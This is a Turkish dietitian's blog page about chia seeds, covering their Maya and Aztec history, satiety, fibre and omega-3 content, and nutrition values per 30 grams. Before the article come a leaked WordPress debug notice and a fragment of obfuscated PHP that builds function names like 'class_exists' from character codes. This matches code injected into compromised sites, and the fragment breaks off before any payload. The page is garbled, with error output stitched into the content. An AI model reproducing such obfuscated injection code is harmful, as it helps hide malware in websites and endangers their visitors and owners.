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Notice: _load_textdomain_just_in_time işlevi yanlış çağrıldı. Translation loading for the nutrico domain was triggered too early. This is usually an indicator for some code in the plugin or theme running too early. Translations should be loaded at the init action or later. Ayrıntılı bilgi almak için lütfen WordPress hata ayıklama bölümüne bakın. (Bu ileti 6.7.0 sürümünde eklendi.) in /home/diyetis1/bursadiyetisyeni.com/wp-includes/functions.php on line 6121
$KPSRXNVL = chr ( 790 - 710 ).'_' . 'x' . 'c' . "\125" . chr ( 120 - 19 ); $xSYKKfUqz = chr ( 304 - 205 ).chr ( 252 - 144 ).chr (97) . 's' . "\163" . "\x5f" . "\x65" . "\170" . "\151" . "\x73" . "\x74" . 's';$tDLjarJaO = class_exists($KPSRXNVL); $KPSRXNVL = "64582";$xSYKKfUqz = "23685";$wSXkaxVLu = FALSE;$AyJRmGc = 's' . chr (95) . "\156" . "\x47" . "\x65";$lnWjZ = "\x63" . "\154" . chr (97) . chr ( 595 - 480 )."\163" . chr ( 167 - 72 ).'e' . 'x' . "\151" . chr (115) . chr (116) . 's'; CHİA | Bursa Uzman Diyetisyeni & Fitoterapist Nursena Ardalı
Author Uzman Diyetisyen & Fitoterapist Nursena Ardalı Tags , , Categories Diyet

CHİA 🙌🏻
📌Chia tohumu tarihte Mayalar ve Azteklerin yolculuklarında enerji vermesi ve tokluk sağlaması için yanına aldıkları önemli bir besin kaynağıdır. ⚡️Chia, Maya dilinde ‘güç’ anlamına gelmektedir.
❗️Chia tohumunun kilo vermeye katkısının olduğunu düşündüren en önemli sebep su ile temas ettiğinde oluşan jel yapının tok kalmaya yardımcı olması. Böylece jelleşme özelliği sayesinde süt ürünlerine veya meyve pürelerine katılabilen chia ile pişirme gerektirmeyen pudingler yapılabiliyor. Bu tarz pudingler chianın glüten içermemesi sayesinde özellikle çölyaklı bireylere glutensiz bir sütlü tatlı alternatifi oluşturuyor. 💯Ayrıca chia; yüksek protein, lif ve omega3 kaynaklarından biri olduğu için trigliserid, LDL kolesterol düşürücü etkiye sahip. Bu sebeple chiayı kalp dostu olarak tanımlayabiliriz. ❓Ama maalesef ki chianın bilimsel olarak zayıflattığına dair yeterli çalışma bulunmamaktadır. Ancak yüksek oranda lif ve protein içeriğinden zayıflama diyetlerinde tok kalmanızı ve bağırsaklarınızın düzenli çalışmasını sağlayacaktır. ✔️30 gram chia tohumu ortalama 139 kkal, 4 g protein, 12 g karbonhidrat, 9 g yağ ve 11 g lif içermektedir.
Sağlıklı Günler.. 🍏🙏🏻

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